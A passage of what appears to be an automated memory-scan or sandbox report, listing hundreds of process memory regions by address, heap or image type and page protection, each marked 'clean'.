page read and write
 clean
260000
heap default
page read and write
 clean
2710000
unkown
page readonly
 clean
3DA000
heap default
page read and write
 clean
7FF001E7000
unkown
page read and write
 clean
2E40000
unkown
page read and write
 clean
A00000
unkown
page execute and read and write
 clean
28EF000
unkown
page read and write
 clean
36D4000
unkown
page read and write
 clean
70000
unkown
page read and write
 clean
2270000
unkown
page read and write
 clean
1B415000
unkown
page read and write
 clean
2910000
unkown
page read and write
 clean
303C000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
1C950000
unkown
page read and write
 clean
3A7B000
unkown
page read and write
 clean
29D7000
unkown
page readonly
 clean
411000
heap default
page read and write
 clean
1B0000
unkown
page read and write
 clean
BC73000
heap private
page read and write
 clean
2B50000
unkown
page readonly
 clean
479000
heap private
page read and write
 clean
306E000
unkown
page read and write
 clean
25A0000
unkown
page readonly
 clean
2890000
unkown
page read and write
 clean
3B1E000
unkown
page read and write
 clean
1DC0000
unkown
page readonly
 clean
617000
unkown
page read and write
 clean
C94000
unkown image
page readonly
 clean
7FFFFF00000
unkown
page execute and read and write
 clean
60000
unkown
page readonly
 clean
3110000
unkown
page read and write
 clean
7FF001F0000
unkown
page read and write
 clean
2F0000
heap default
page read and write
 clean
2712000
unkown
page read and write
 clean
2E90000
unkown
page read and write
 clean
12C35000
unkown
page read and write
 clean
C8B0000
unkown
page read and write
 clean
2945000
unkown
page read and write
 clean
20000
heap private
page read and write
 clean
1BD30000
unkown
page read and write
 clean
3AFF000
unkown
page read and write
 clean
2070000
unkown
page readonly
 clean
3B90000
unkown
page read and write
 clean
7FF00200000
unkown
page read and write
 clean
810000
unkown
page execute and read and write
 clean
1BD30000
unkown
page read and write
 clean
6F70000
unkown
page read and write
 clean
2C80000
unkown
page read and write
 clean
861C000
unkown
page read and write
 clean
7FF00012000
unkown
page execute and read and write
 clean
7FF00020000
unkown
page read and write
 clean
6888000
unkown
page readonly
 clean
76C0000
heap private
page read and write
 clean
454C000
unkown
page read and write
 clean
305B000
unkown
page read and write
 clean
195000
unkown
page execute and read and write
 clean
1B0000
unkown
page read and write
 clean
A3B9000
unkown
page write copy
 clean
231000
heap default
page read and write
 clean
3395000
unkown
page read and write
 clean
1BF5000
heap private
page read and write
 clean
660000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
4253000
unkown
page read and write
 clean
332B000
unkown
page read and write
 clean
35F0000
unkown
page read and write
 clean
3265000
unkown
page read and write
 clean
7FF000EA000
unkown
page execute and read and write
 clean
48B0000
heap private
page read and write
 clean
AE0000
unkown
page read and write
 clean
2FC4000
unkown
page read and write
 clean
4660000
unkown
page readonly
 clean
180000
unkown
page write copy
 clean
2F96000
unkown
page read and write
 clean
210000
heap default
page read and write
 clean
2B20000
unkown
page readonly
 clean
1B0000
unkown
page read and write
 clean
2090000
unkown
page execute and read and write
 clean
8FD000
unkown
page read and write
 clean
33B0000
unkown
page read and write
 clean
BD2000
unkown image
page execute and write copy
 clean
3542000
unkown
page readonly
 clean
7FF00260000
unkown
page read and write
 clean
2960000
unkown
page readonly
 clean
1F5000
heap default
page read and write
 clean
390000
unkown
page readonly
 clean
590000
unkown
page read and write
 clean
2A50000
unkown
page write copy
 clean
160000
unkown
page read and write
 clean
2C60000
unkown
page read and write
 clean
C61B000
unkown
page read and write
 clean
5AB0000
unkown
page readonly
 clean
4263000
unkown
page read and write
 clean
2950000
unkown
page readonly
 clean
CA8000
unkown image
page readonly
 clean
AF0000
unkown
page readonly
 clean
1B300000
unkown
page read and write
 clean
4470000
unkown
page readonly
 clean
1F6000
unkown
page read and write
 clean
2A71000
unkown
page read and write
 clean
7FF001F0000
unkown
page read and write
 clean
3514000
unkown
page readonly
 clean
2F2E000
unkown
page read and write
 clean
3940000
unkown
page read and write
 clean
39F4000
unkown
page read and write
 clean
2C5F000
unkown
page read and write
 clean
648E000
unkown
page read and write
 clean
1FC000
unkown
page read and write
 clean
3516000
unkown
page read and write
 clean
1BA55000
unkown
page read and write
 clean
1B475000
unkown
page read and write
 clean
25F2000
unkown
page read and write
 clean
1C950000
unkown
page read and write
 clean
35C4000
unkown
page read and write
 clean
1BC7E000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
62C5000
unkown
page readonly
 clean
1BA44000
unkown
page read and write
 clean
687000
unkown
page read and write
 clean
182000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
710B000
unkown
page read and write
 clean
2E4F000
unkown
page read and write
 clean
3105000
unkown
page read and write
 clean
2EF9000
heap private
page read and write
 clean
2E40000
unkown
page read and write
 clean
27D0000
heap private
page read and write
 clean
7FF00022000
unkown
page execute and read and write
 clean
19B000
unkown
page execute and read and write
 clean
2EC0000
unkown
page readonly
 clean
73EE000
unkown
page read and write
 clean
290000
heap private
page read and write
 clean
490000
heap default
page read and write
 clean
12C5C000
unkown
page read and write
 clean
2E71000
unkown
page read and write
 clean
5A20000
heap private
page read and write
 clean
2F1000
unkown
page read and write
 clean
2533000
unkown
page read and write
 clean
2A4F000
unkown
page read and write
 clean
3700000
unkown
page read and write
 clean
2070000
unkown
page readonly
 clean
B0000
unkown
page readonly
 clean
42E000
heap default
page read and write
 clean
7FF00112000
unkown
page execute and read and write
 clean
3031000
unkown
page read and write
 clean
1BCF000
unkown
page read and write
 clean
4AC0000
unkown
page read and write
 clean
854C000
unkown
page read and write
 clean
2900000
unkown
page read and write
 clean
697F000
unkown
page read and write
 clean
406000
heap default
page read and write
 clean
2260000
unkown
page read and write
 clean
1B50000
unkown
page read and write
 clean
5E4A000
unkown
page readonly
 clean
612000
unkown
page read and write
 clean
1D10000
unkown
page readonly
 clean
B2C3000
heap private
page read and write
 clean
7FF00150000
unkown
page execute and read and write
 clean
2310000
unkown
page execute and read and write
 clean
51C0000
unkown
page read and write
 clean
B70000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
39E0000
unkown
page read and write
 clean
C330000
unkown
page read and write
 clean
2CBE000
unkown
page read and write | page guard
 clean
7FFFFF00000
unkown
page execute and read and write
 clean
C94000
unkown image
page readonly
 clean
3512000
unkown
page readonly
 clean
34E000
heap default
page read and write
 clean
1BA61000
unkown
page read and write
 clean
A3BE000
unkown
page write copy
 clean
2280000
unkown
page read and write
 clean
7FF00250000
unkown
page execute and read and write
 clean
1B0000
unkown
page read and write
 clean
BB20000
unkown
page read and write
 clean
7FF00250000
unkown
page execute and read and write
 clean
233F000
unkown
page read and write
 clean
65CF000
unkown
page read and write
 clean
B0D0000
unkown
page read and write
 clean
330E000
unkown
page read and write
 clean
2070000
unkown
page readonly
 clean
1B485000
unkown
page read and write
 clean
180000
unkown
page read and write
 clean
7FF00190000
unkown
page read and write
 clean
1B0000
unkown
page read and write
 clean
842E000
unkown
page read and write
 clean
2A60000
unkown
page read and write
 clean
670000
unkown
page read and write
 clean
352D000
unkown
page read and write
 clean
37E000
heap default
page read and write
 clean
2660000
unkown
page readonly
 clean
660000
unkown
page execute and read and write
 clean
27A0000
unkown
page read and write
 clean
1BD30000
unkown
page read and write
 clean
4500000
unkown
page readonly
 clean
2FCD000
unkown
page read and write
 clean
34F2000
unkown
page readonly
 clean
7FF001B0000
unkown
page execute and read and write
 clean
6DEF000
unkown
page readonly
 clean
2150000
unkown
page write copy
 clean
7FF0001A000
unkown
page execute and read and write
 clean
1BE0000
unkown
page read and write
 clean
2F8E000
unkown
page read and write
 clean
190000
unkown
page read and write
 clean
ADCE000
unkown
page read and write
 clean
7FF001D0000
unkown
page read and write
 clean
310000
unkown
page readonly
 clean
1EB0000
unkown
page readonly
 clean
30BA000
unkown
page read and write
 clean
8555000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
44C0000
unkown
page read and write
 clean
3D0000
unkown
page readonly
 clean
35DD000
unkown
page read and write
 clean
31DE000
unkown
page read and write
 clean
7EF40000
unkown
page execute and read and write
 clean
1C950000
unkown
page read and write
 clean
231B000
unkown
page readonly
 clean
3B1B000
unkown
page read and write
 clean
410000
unkown
page read and write
 clean
670000
unkown
page read and write
 clean
432F000
unkown
page read and write
 clean
1CB4E000
unkown
page read and write
 clean
BD0000
unkown image
page readonly
 clean
12D41000
unkown
page read and write
 clean
1C950000
unkown
page read and write
 clean
AF6E000
unkown
page read and write
 clean
5B71000
unkown
page readonly
 clean
E0000
unkown
page read and write
 clean
2540000
unkown
page read and write
 clean
46B0000
unkown
page read and write
 clean
AF0000
heap private
page execute and read and write
 clean
2382000
unkown
page read and write
 clean
32F5000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
179000
unkown
page read and write
 clean
39AF000
unkown
page read and write
 clean
2CC1000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
230000
unkown
page readonly
 clean
2260000
unkown
page read and write
 clean
6695000
unkown
page readonly
 clean
35D8000
unkown
page read and write
 clean
2EF0000
heap private
page read and write
 clean
150000
unkown
page readonly
 clean
77F9000
unkown
page read and write
 clean
2D30000
unkown
page read and write
 clean
1E05000
heap private
page read and write
 clean
1BC2E000
unkown
page read and write
 clean
2EB7000
unkown
page read and write
 clean
4616000
unkown
page read and write
 clean
1B9A000
unkown
page read and write
 clean
336F000
unkown
page read and write
 clean
1B0000
unkown
page read and write
 clean
58AF000
unkown
page read and write
 clean
24F000
unkown
page read and write
 clean
3049000
unkown
page read and write
 clean
5680000
heap private
page read and write
 clean
1110000
unkown
page readonly
 clean
7FF00170000
unkown
page read and write
 clean
13040000
unkown
page read and write
 clean
680000
unkown
page readonly
 clean
2E9A000
unkown
page read and write
 clean
10000
heap private
page read and write
 clean
600000
unkown
page read and write
 clean
32AA000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
3B75000
unkown
page read and write
 clean
2341000
unkown
page read and write
 clean
3199000
unkown
page read and write
 clean
7FF000C0000
unkown
page read and write
 clean
880000
unkown
page execute and read and write
 clean
2720000
unkown
page read and write
 clean
3B4B000
unkown
page read and write
 clean
1C950000
unkown
page read and write
 clean
2510000
unkown
page write copy
 clean
35B1000
unkown
page read and write
 clean
2AD000
heap default
page read and write
 clean
2F7F000
unkown
page read and write
 clean
3014000
unkown
page read and write
 clean
218000
heap default
page read and write
 clean
660000
unkown
page read and write
 clean
1E9000
heap default
page read and write
 clean
3D0000
unkown
page readonly
 clean
8AC2000
unkown
page readonly
 clean
237C000
unkown
page read and write
 clean
420000
unkown
page read and write
 clean
3726000
unkown
page read and write
 clean
34A8000
unkown
page read and write
 clean
2AF0000
unkown
page read and write
 clean
34A1000
unkown
page read and write
 clean
7FF001C0000
unkown
page execute and read and write
 clean
420000
unkown
page read and write
 clean
6F0000
unkown
page read and write
 clean
1B40000
unkown
page readonly
 clean
1D7000
heap default
page read and write
 clean
20FF000
unkown
page read and write
 clean
28A0000
unkown
page readonly
 clean
3642000
unkown
page readonly
 clean
3A60000
unkown
page read and write
 clean
997000
unkown
page execute and read and write
 clean
2260000
unkown
page read and write
 clean
1BD30000
unkown
page read and write
 clean
2E70000
unkown
page read and write
 clean
207E000
unkown
page read and write
 clean
C88000
unkown image
page execute read
 clean
299000
unkown
page read and write
 clean
1B50A000
unkown
page read and write
 clean
300000
unkown
page read and write
 clean
2A40000
unkown
page readonly
 clean
3A23000
unkown
page read and write
 clean
30CD000
unkown
page read and write
 clean
364D000
unkown
page read and write
 clean
2000000
unkown
page read and write
 clean
2FC9000
unkown
page read and write
 clean
2F7E000
unkown
page read and write
 clean
3006000
unkown
page read and write
 clean
3980000
unkown
page read and write
 clean
582B000
unkown
page read and write
 clean
29F000
unkown
page read and write
 clean
1B890000
unkown
page write copy
 clean
2EC000
heap default
page read and write
 clean
288F000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
12CC1000
unkown
page read and write
 clean
2F06000
unkown
page read and write
 clean
2CD0000
unkown
page write copy
 clean
35D2000
unkown
page readonly
 clean
7FF001E7000
unkown
page read and write
 clean
4051000
unkown
page read and write
 clean
CA8000
unkown image
page readonly
 clean
4EE000
unkown
page read and write
 clean
12DA1000
unkown
page read and write
 clean
2714000
heap private
page read and write
 clean
1BD30000
unkown
page read and write
 clean
660000
unkown
page read and write
 clean
2C31000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
1E3000
heap default
page read and write
 clean
49A000
heap default
page read and write
 clean
300000
unkown
page readonly
 clean
2EFD000
unkown
page read and write
 clean
BD0000
unkown image
page readonly
 clean
47A0000
unkown
page read and write
 clean
2FC000
heap default
page read and write
 clean
2A50000
unkown
page readonly
 clean
2FF0000
unkown
page read and write
 clean
414D000
unkown
page read and write
 clean
310000
unkown
page read and write
 clean
2AF0000
heap private
page execute and read and write
 clean
1C950000
unkown
page read and write
 clean
2DF000
unkown
page read and write
 clean
26C0000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
1C950000
unkown
page read and write
 clean
C94000
unkown image
page readonly
 clean
3793000
unkown
page read and write
 clean
2F44000
unkown
page read and write
 clean
1BEF000
unkown
page read and write
 clean
1B86000
unkown
page read and write
 clean
2E78000
unkown
page read and write
 clean
2AF0000
unkown
page read and write
 clean
419A000
unkown
page read and write
 clean
27CA000
unkown
page read and write
 clean
1B3E6000
unkown
page read and write
 clean
2F56000
unkown
page read and write
 clean
2BB000
heap default
page read and write
 clean
202B000
heap private
page read and write
 clean
2B40000
unkown
page readonly
 clean
2F5D000
unkown
page read and write
 clean
7FF00240000
unkown
page execute and read and write
 clean
2DEF000
unkown
page read and write
 clean
9768000
unkown
page readonly
 clean
3672000
unkown
page readonly
 clean
2A50000
unkown
page readonly
 clean
304C000
unkown
page read and write
 clean
7410000
heap private
page read and write
 clean
B14B000
unkown
page read and write
 clean
3150000
unkown
page read and write
 clean
8666000
unkown
page read and write
 clean
2EF0000
heap private
page read and write
 clean
1BF8E000
unkown
page read and write
 clean
369C000
unkown
page read and write
 clean
86B0000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
8040000
unkown
page read and write
 clean
2F4D000
unkown
page read and write
 clean
2170000
unkown
page execute and read and write
 clean
4B50000
unkown
page readonly
 clean
1C730000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
270000
unkown
page execute and read and write
 clean
1C730000
unkown
page read and write
 clean
3ADF000
unkown
page read and write
 clean
2710000
unkown
page readonly
 clean
1BD30000
unkown
page read and write
 clean
27D4000
heap private
page read and write
 clean
3566000
unkown
page readonly
 clean
3592000
unkown
page read and write
 clean
3649000
unkown
page readonly
 clean
7FF00150000
unkown
page read and write
 clean
2550000
unkown
page read and write
 clean
2DEE000
unkown
page read and write | page guard
 clean
265C000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
28B0000
unkown
page read and write
 clean
3BB8000
unkown
page read and write
 clean
430000
unkown
page execute and read and write
 clean
110000
unkown
page read and write
 clean
34D2000
unkown
page readonly
 clean
2E60000
unkown
page readonly
 clean
681000
unkown
page read and write
 clean
12E1C000
unkown
page read and write
 clean
2B8000
heap default
page read and write
 clean
3A6D000
unkown
page read and write
 clean
28EF000
unkown
page read and write
 clean
2FD0000
unkown
page read and write
 clean
3703000
unkown
page read and write
 clean
26A0000
unkown
page readonly
 clean
9E0000
unkown
page read and write
 clean
2EF5000
heap private
page read and write
 clean
3AA0000
unkown
page read and write
 clean
2F70000
unkown
page readonly
 clean
68AE000
unkown
page readonly
 clean
4226000
unkown
page read and write
 clean
2E38000
unkown
page read and write
 clean
293E000
unkown
page read and write
 clean
300000
unkown
page read and write
 clean
29D0000
unkown
page readonly
 clean
3136000
unkown
page read and write
 clean
300000
unkown
page read and write
 clean
3412000
unkown
page readonly
 clean
1B390000
unkown
page read and write
 clean
3185000
unkown
page read and write
 clean
3635000
unkown
page readonly
 clean
1E4000
heap private
page read and write
 clean
2890000
unkown
page read and write
 clean
16E000
unkown
page read and write
 clean
2EE0000
unkown
page readonly
 clean
C6CF000
unkown
page read and write
 clean
30FC000
unkown
page read and write
 clean
2C70000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
1BDF000
unkown
page read and write
 clean
34D4000
unkown
page readonly
 clean
1B59D000
unkown
page read and write
 clean
39E8000
unkown
page read and write
 clean
3151000
unkown
page read and write
 clean
62AE000
unkown
page read and write
 clean
65CE000
unkown
page read and write | page guard
 clean
50A000
unkown
page read and write
 clean
35C7000
unkown
page read and write
 clean
304C000
unkown
page read and write
 clean
82B0000
unkown
page read and write
 clean
4460000
unkown
page read and write
 clean
688B000
unkown
page readonly
 clean
3129000
unkown
page read and write
 clean
2190000
unkown
page execute and read and write
 clean
2F0000
unkown
page read and write
 clean
5070000
heap private
page execute and read and write
 clean
D4000
heap private
page read and write
 clean
35AE000
unkown
page read and write
 clean
3AA9000
unkown
page read and write
 clean
26D0000
unkown
page readonly
 clean
35D5000
unkown
page read and write
 clean
3058000
unkown
page read and write
 clean
7FF00220000
unkown
page execute and read and write
 clean
2F70000
unkown
page readonly
 clean
1B410000
unkown
page read and write
 clean
43D000
unkown
page read and write
 clean
1B0000
unkown
page read and write
 clean
2060000
unkown
page readonly
 clean
9F6000
unkown
page read and write
 clean
115000
unkown
page read and write | page guard
 clean
1B0000
unkown
page read and write
 clean
7FF00002000
unkown
page execute and read and write
 clean
2B80000
unkown
page read and write
 clean
856E000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
21F0000
unkown
page execute and read and write
 clean
3572000
unkown
page readonly
 clean
2FC7000
unkown
page read and write
 clean
3797000
unkown
page read and write
 clean
4297000
unkown
page read and write
 clean
22E7000
heap private
page read and write
 clean
7FF00180000
unkown
page read and write
 clean
2EF8000
unkown
page read and write
 clean
4B12000
heap private
page read and write
 clean
670000
unkown
page read and write
 clean
3BA0000
unkown
page read and write
 clean
7FF001C0000
unkown
page read and write
 clean
51BE000
unkown
page read and write
 clean
116000
unkown
page read and write
 clean
24B0000
unkown
page write copy
 clean
2890000
unkown
page read and write
 clean
420000
heap private
page read and write
 clean
1FE0000
unkown
page read and write
 clean
3080000
unkown
page read and write
 clean
2FDD000
unkown
page read and write
 clean
BD0000
unkown image
page readonly
 clean
279E000
unkown
page read and write
 clean
25B000
heap private
page read and write
 clean
35F3000
unkown
page read and write
 clean
CA8000
unkown image
page readonly
 clean
27B4000
unkown
page read and write
 clean
440000
unkown
page read and write
 clean
197000
unkown
page execute and read and write
 clean
4610000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
7FF000C2000
unkown
page execute and read and write
 clean
318000
heap default
page read and write
 clean
2F74000
unkown
page read and write
 clean
3880000
unkown
page readonly
 clean
4E10000
unkown
page read and write
 clean
351C000
unkown
page read and write
 clean
2EE000
unkown
page read and write
 clean
3653000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
2AF6000
unkown
page read and write
 clean
2700000
unkown
page readonly
 clean
2B90000
unkown
page read and write
 clean
1D60000
unkown
page write copy
 clean
2FCC000
unkown
page read and write
 clean
2C90000
unkown
page read and write
 clean
319B000
unkown
page read and write
 clean
2BC0000
unkown
page write copy
 clean
2F04000
unkown
page read and write
 clean
579E000
unkown
page read and write
 clean
A9CC000
unkown
page read and write
 clean
370000
unkown
page read and write
 clean
1B490000
unkown
page readonly
 clean
80000
unkown
page readonly
 clean
CBF4000
unkown
page read and write
 clean
1B0000
unkown
page read and write
 clean
190000
unkown
page read and write
 clean
82FD000
unkown
page read and write
 clean
7FF0001C000
unkown
page execute and read and write
 clean
7FF001E0000
unkown
page read and write
 clean
7FF001A0000
unkown
page execute and read and write
 clean
1B500000
unkown
page read and write
 clean
6F77000
unkown
page read and write
 clean
80000
unkown
page write copy
 clean
44DE000
unkown
page read and write
 clean
303F000
unkown
page read and write
 clean
6C0000
unkown
page readonly
 clean
27A0000
unkown
page read and write
 clean
1BF5000
heap private
page read and write
 clean
231000
heap default
page read and write
 clean
33EE000
unkown
page read and write
 clean
436E000
unkown
page read and write
 clean
1C730000
unkown
page read and write
 clean
2E2F000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
123000
unkown
page execute and read and write
 clean
2CBF000
unkown
page read and write
 clean
3719000
unkown
page read and write
 clean
44E0000
unkown
page read and write
 clean
2F98000
unkown
page read and write
 clean
8140000
unkown
page read and write
 clean
309B000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
4E11000
unkown
page read and write
 clean
BD2000
unkown image
page execute and write copy
 clean
C430000
unkown
page read and write
 clean
2CE0000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
2800000
unkown
page read and write
 clean
2EFE000
heap private
page read and write
 clean
7FF000D0000
unkown
page read and write
 clean
1EFD000
unkown
page execute and read and write
 clean
265C000
unkown
page read and write
 clean
7FF00160000
unkown
page execute and read and write
 clean
2AB4000
unkown
page read and write
 clean
1D30000
unkown
page readonly
 clean
1BAD0000
unkown
page read and write
 clean
1B4FA000
unkown
page read and write
 clean
600000
unkown
page read and write
 clean
820000
unkown
page execute and read and write
 clean
BD0000
unkown image
page readonly
 clean
3AC5000
unkown
page read and write
 clean
1BB0000
unkown
page readonly
 clean
710000
unkown
page execute and read and write
 clean
2BC6000
unkown
page read and write
 clean
3A71000
unkown
page read and write
 clean
6F0000
unkown
page readonly
 clean
124000
unkown
page read and write
 clean
3A27000
unkown
page read and write
 clean
316A000
unkown
page read and write
 clean
B320000
unkown
page read and write
 clean
C88000
unkown image
page execute read
 clean
480000
unkown
page read and write
 clean
E3E000
unkown
page read and write
 clean
690000
unkown
page readonly
 clean
B22F000
unkown
page read and write
 clean
2830000
unkown
page read and write
 clean
39B6000
unkown
page read and write
 clean
39C4000
unkown
page read and write
 clean
2CC0000
unkown
page read and write
 clean
1B80000
unkown
page read and write
 clean
27D6000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
3286000
unkown
page read and write
 clean
E0000
unkown
page readonly
 clean
2CE0000
unkown
page read and write
 clean
1AF0000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
35CD000
unkown
page read and write
 clean
B2A0000
heap private
page read and write
 clean
12CEC000
unkown
page read and write
 clean
57C000
unkown
page read and write
 clean
1BF0000
heap private
page read and write
 clean
660000
unkown
page read and write
 clean
62F2000
unkown
page readonly
 clean
1C730000
unkown
page read and write
 clean
7FF00190000
unkown
page execute and read and write
 clean
316C000
unkown
page read and write
 clean
1BD30000
unkown
page read and write
 clean
2B10000
heap private
page execute and read and write
 clean
2CB0000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
310000
unkown
page read and write
 clean
239A000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
814000
unkown
page execute and read and write
 clean
2890000
unkown
page read and write
 clean
8A0000
unkown
page execute and read and write
 clean
3341000
unkown
page read and write
 clean
BD0000
unkown image
page readonly
 clean
2BE0000
unkown
page readonly
 clean
1F5000
heap default
page read and write
 clean
BD0000
unkown image
page execute and read and write
 clean
36ED000
unkown
page read and write
 clean
2700000
unkown
page read and write
 clean
3585000
unkown
page readonly
 clean
356E000
unkown
page read and write
 clean
1E70000
unkown
page readonly
 clean
62EE000
unkown
page read and write
 clean
22F0000
unkown
page readonly
 clean
7FF000E0000
unkown
page read and write
 clean
CC36000
unkown
page read and write
 clean
12D000
unkown
page execute and read and write
 clean
5A1E000
unkown
page read and write
 clean
437000
unkown
page read and write
 clean
2060000
unkown
page read and write
 clean
AAEE000
unkown
page read and write
 clean
34BC000
unkown
page read and write
 clean
4F0000
unkown
page execute and read and write
 clean
355E000
unkown
page read and write
 clean
A3E4000
unkown
page write copy
 clean
2E6B000
unkown
page read and write
 clean
266D000
unkown
page read and write
 clean
2CF0000
unkown
page read and write
 clean
CB30000
unkown
page read and write
 clean
130000
unkown
page read and write
 clean
21B0000
unkown
page readonly
 clean
3B0B000
unkown
page read and write
 clean
2E80000
unkown
page read and write
 clean
920000
unkown
page read and write
 clean
41AD000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
5B0000
unkown
page readonly
 clean
21E0000
unkown
page readonly
 clean
4D0000
heap default
page read and write
 clean
C89000
unkown image
page execute read
 clean
1BBDE000
unkown
page read and write
 clean
200000
unkown
page readonly
 clean
36EA000
unkown
page read and write
 clean
30EC000
unkown
page read and write
 clean
438000
unkown
page read and write
 clean
1F00000
unkown
page read and write
 clean
2A90000
unkown
page read and write
 clean
1BD30000
unkown
page read and write
 clean
888E000
unkown
page read and write
 clean
2510000
unkown
page write copy
 clean
22F7000
unkown
page readonly
 clean
1C96000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
C88000
unkown image
page execute read
 clean
3B46000
unkown
page read and write
 clean
7FF0001A000
unkown
page execute and read and write
 clean
399000
heap default
page read and write
 clean
2E9D000
unkown
page read and write
 clean
BC50000
heap private
page read and write
 clean
7FF00200000
unkown
page execute and read and write
 clean
22F0000
unkown
page execute and read and write
 clean
7FF00112000
unkown
page execute and read and write
 clean
BD2000
unkown image
page execute and write copy
 clean
7FF001D7000
unkown
page read and write
 clean
BC55000
heap private
page read and write
 clean
31C7000
unkown
page read and write
 clean
430000
unkown
page readonly
 clean
2890000
unkown
page read and write
 clean
2F03000
unkown
page read and write
 clean
2890000
unkown
page read and write
 clean
D0000
heap private
page read and write
 clean
31CB000
unkown
page read and write
 clean
2340000
unkown
page readonly
 clean
1B44A000
unkown
page read and write
 clean
30D000
unkown
page read and write
 clean
670000
unkown
page read and write
 clean
7FF0002C000
unkown
page execute and read and write
 clean
90A5000
unkown
page readonly
 clean
2A8E000
unkown
page read and write | page guard
 clean
3188000
unkown
page read and write
 clean
3049000
unkown
page read and write
 clean
47A6000
unkown
page read and write
 clean
1B0000
unkown
page read and write
 clean
1D0000
heap default
page read and write
 clean
28F5000
unkown
page read and write
 clean
35F6000
unkown
page read and write
 clean
7FF000EA000
unkown
page execute and read and write
 clean
3802000
unkown
page readonly
 clean
3994000
unkown
page read and write
 clean
3182000
unkown
page read and write
 clean
2CC0000
unkown
page read and write
 clean
1F0000
heap default
page read and write
 clean
1C730000
unkown
page read and write
 clean
9E0000
unkown
page read and write
 clean
150000
heap private
page read and write
 clean
380000
heap default
page read and write
 clean
2D4E000
unkown
page read and write
 clean
46B8000
unkown
page read and write
 clean
3144000
unkown
page read and write
 clean
46E0000
unkown
page read and write
 clean
2060000
unkown
page readonly
 clean
43FE000
unkown
page read and write
 clean
A3C000
unkown
page read and write
 clean
27A0000
unkown
page read and write
 clean
BD0000
unkown image
page readonly
 clean
1C0000
unkown
page readonly
 clean
352F000
unkown
page read and write
 clean
2C0000
unkown
page readonly
 clean
3365000
unkown
page read and write
 clean
6988000
unkown
page readonly
 clean
85C0000
unkown
page read and write
 clean
1A0000
unkown
page readonly
 clean
7FF000DA000
unkown
page execute and read and write
 clean
2FE8000
unkown
page read and write
 clean
1DD000
heap default
page read and write
 clean
27A0000
unkown
page read and write
 clean
1D0000
heap default
page read and write
 clean
2B4000
heap default
page read and write
 clean
2F90000
unkown
page readonly
 clean
5CE2000
unkown
page readonly
 clean
35B4000
unkown
page read and write
 clean
1E0000
heap private
page read and write
 clean
25F2000
unkown
page read and write
 clean
7FF000E0000
unkown
page read and write
 clean
352C000
unkown
page read and write
 clean
840000
unkown
page readonly
 clean
67E000
unkown
page read and write
 clean
2260000
unkown
page read and write
 clean
D6000
unkown
page read and write
 clean
497000
heap default
page read and write
 clean
27A0000
unkown
page read and write
 clean
2ED0000
unkown
page readonly
 clean
26A0000
unkown
page readonly
 clean
C228000
unkown
page read and write
 clean
2307000
unkown
page execute and read and write
 clean
CCB2000
unkown
page read and write
 clean
2730000
unkown
page readonly
 clean
27A0000
unkown
page read and write
 clean
1AD20000
unkown
page read and write
 clean
720000
unkown
page execute and read and write
 clean
3612000
unkown
page readonly
 clean
7FF001C0000
unkown
page read and write
 clean
3052000
unkown
page read and write
 clean
200000
unkown
page readonly
 clean
12DF5000
unkown
page read and write
 clean
4AF4000
heap private
page read and write
 clean
180000
unkown
page read and write
 clean
4110000
unkown
page read and write
 clean
2CA0000
unkown
page read and write
 clean
292F000
unkown
page read and write
 clean
300000
unkown
page read and write
 clean
1C950000
unkown
page read and write
 clean
1C13000
heap private
page read and write
 clean
817000
unkown
page execute and read and write
 clean
7FF00170000
unkown
page execute and read and write
 clean
430000
unkown
page read and write
 clean
2690000
unkown
page readonly
 clean
2260000
unkown
page read and write
 clean
2A60000
unkown
page read and write
 clean
550000
unkown
page readonly
 clean
2F0D000
unkown
page read and write
 clean
B6E000
unkown
page read and write
 clean
1BD80000
heap private
page read and write
 clean
27A0000
unkown
page read and write
 clean
1BB0000
unkown
page readonly
 clean
35D9000
unkown
page read and write
 clean
BE70000
unkown
page read and write
 clean
9668000
unkown
page readonly
 clean
BD2000
unkown image
page execute and read and write
 clean
2080000
unkown
page execute and read and write
 clean
7FF0002C000
unkown
page execute and read and write
 clean
43D0000
unkown
page write copy
 clean
35DA000
unkown
page read and write
 clean
2F09000
unkown
page read and write
 clean
680000
heap private
page execute and read and write
 clean
1FF0000
heap private
page read and write
 clean
1B0000
unkown
page read and write
 clean
7FFFFF10000
unkown
page execute and read and write
 clean
C070000
unkown
page read and write
 clean
A3DA000
unkown
page write copy
 clean
1BA72000
unkown
page read and write
 clean
4E9D000
unkown
page read and write
 clean
2E0000
heap private
page read and write
 clean
3619000
unkown
page readonly
 clean
1C950000
unkown
page read and write
 clean
5829000
unkown
page read and write
 clean
12F10000
unkown
page read and write
 clean
3555000
unkown
page read and write
 clean
9F0000
unkown
page read and write
 clean
2EED000
unkown
page read and write
 clean
2210000
unkown
page execute and read and write
 clean
A3E9000
unkown
page write copy
 clean
1C8AE000
unkown
page read and write
 clean
9BF0000
unkown
page read and write
 clean
A40000
unkown
page read and write
 clean
1BA76000
unkown
page read and write
 clean
42E000
unkown
page read and write
 clean
726D000
unkown
page read and write
 clean
1BD30000
unkown
page read and write
 clean
1BC0000
unkown
page read and write
 clean
7FF00012000
unkown
page execute and read and write
 clean
3DE000
